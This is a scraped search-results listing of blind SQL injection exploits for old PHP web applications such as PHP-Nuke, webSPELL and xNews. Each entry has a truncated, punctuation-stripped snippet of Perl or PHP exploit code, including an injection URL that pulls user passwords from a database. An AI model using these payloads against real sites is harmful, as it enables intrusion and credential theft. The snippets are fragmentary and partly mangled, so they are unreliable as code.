9297 matches found
Nabopoll Blind SQL Injection vulnerabilies
Nabopoll have a bug in some files, for example results.php Line 27...31 -------------------------------- $resquestion = mysqlquery"select from nabopollquestions where survey=$survey order by id"; if $resquestion == FALSE || mysqlnumrows$resquestion == 0 error$rowsurvey, "questions not found";...
Nabopoll 1.2 - result.php?surv Blind SQL Injection
Nabopoll 1.2 - result.php?surv Blind SQL Injection milw0rm.com 2007-02-21...
Nabopoll 1.2 - 'result.php?surv' Blind SQL Injection
milw0rm.com 2007-02-21...
PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)
Exploit for unknown platform in category web applications ================================================================== PHP-Nuke = 4.0.24, using 'brute force' Coded by:Maciej krasza Kuklaemail protected Screenshot: 0day exploit for PHP-nuke new; my $zadanie = HTTP::Request-newGET = $adres; m...
NukeSentinel 2.5.05 - 'nsbypass.php' Blind SQL Injection
!/usr/bin/php URL: http://www.acid-root.new.fr/ ------------------------------------------------------------------ Usage: $argv0 -url -victim Opts Options: -isadmin Is the victim an Admin 1 or a normal user default=0 ? -prefix Table prefix default=nuke -tid If you have already used this sploit -b...
PHP-Nuke 8.0 Final - 'INSERT' Blind SQL Injection (MySQL)
!/usr/bin/perl 0day exploit for PHP-nuke = 4.0.24, using 'brute force' Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke new; my $zadanie = HTTP::Request-newGET = $adres; my...
NukeSentinel 2.5.05 (nsbypass.php) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================== NukeSentinel 2.5.05 nsbypass.php Blind SQL Injection Exploit ============================================================== !/usr/bin/php -victim Opts Options: -isadmin Is the...
PHP-Nuke 8.0 Final - INSERT Blind SQL Injection (MySQL)
PHP-Nuke 8.0 Final - INSERT Blind SQL Injection MySQL !/usr/bin/perl 0day exploit for PHP-nuke = 4.0.24, using 'brute force' Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke new; my $zadanie = HTTP::Request-newGET = $adres; my...
PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)
No description provided by source. !/usr/bin/perl 0day exploit for PHP-nuke =8.0 Final Blind sql injection attack in INSERT syntax version for mysql = 4.0.24, using 'brute force' Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke =8.0 Final Sql injection attack in...
webSPELL 4.01.02 (showonly) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \'/ "; print " -.- "; print " -------------------oOO------OOo-------------------"; print " | webSPELL v4.01.02 showonly Remote SQL Injection |"; print " | works only with...
PHP-Nuke Module Emporium 2.3.0 - SQL Injection
PHP-Nuke Module Emporium 2.3.0 - SQL Injection exploit2.asp 'Update: + Get Header 'Update: + Get Whois Info '=============================================================================================== % function functionControl1 setTimeout"functionControl2",2000; function functionControl2...
dB Masters Curium CMS 1.03 - c_id SQL Injection
dB Masters Curium CMS 1.03 - cid SQL Injection Title : dB Masters' Curium CMS = 1.03cid Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.dbmasters.net $$ : Free Dork : Powered by dB Masters' Curium CMS 1 DorkEx :...
CascadianFAQ <= 4.1 (index.php) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ================================================================== CascadianFAQ = 4.1 index.php Remote SQL Injection Vulnerability ================================================================== Title : CascadianFAQ = 4.1 index.php Remo...
xNews 1.3 (xNews.php) Remote Blind SQL Injection Vulnerability
Title : xNews 1.3 xNews.php Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.x-dev.de $$ : Free SQL--------------------------------------------------------- http://target/path//xNews.php?act=shownews&id=SQL Example:...
xNews 1.3 - 'xNews.php' SQL Injection
Title : xNews 1.3 xNews.php Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.x-dev.de $$ : Free SQL--------------------------------------------------------- http://target/path//xNews.php?act=shownews&id=SQL Example:...
Aztek Forum 4.0 - Multiple Vulnerabilities
Aztek Forum 4.0 - Multiple Vulnerabilities !/usr/bin/php Aztek Forum 4.1 Multiple Vulnerabilities Exploit header ================================================== sploit Owner - root status Trying to register a new user sploit Login/Password - phpsploit8435 status Trying to get database...
webSPELL 4.01.02 (gallery.php) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================= webSPELL 4.01.02 gallery.php Remote Blind SQL Injection Exploit ================================================================= allowredirection1; $xpl-cookiejar1; functio...
webSPELL 4.01.02 - 'gallery.php' Blind SQL Injection
allowredirection1; $xpl-cookiejar1; function istrue$xpl,$host,$path,$prefix,$gid,$pid,$uid,$i,$h $xpl-get"http://".$host.$path."gallery.php?action=window&galleryID=".$gid."&picID=".$pid."%20AND%20MIDSELECT%20password%20FROM%20".$prefix."user%20WHERE%20userID=".$uid.",".$i.",1=CHAR".$h."";...
DigiAffiliate 1.4 - id SQL Injection
DigiAffiliate 1.4 - id SQL Injection !/usr/bin/perl Script Name: DigiAffiliate : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...
DigiAffiliate 1.4 - 'id' SQL Injection
!/usr/bin/perl Script Name: DigiAffiliate : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...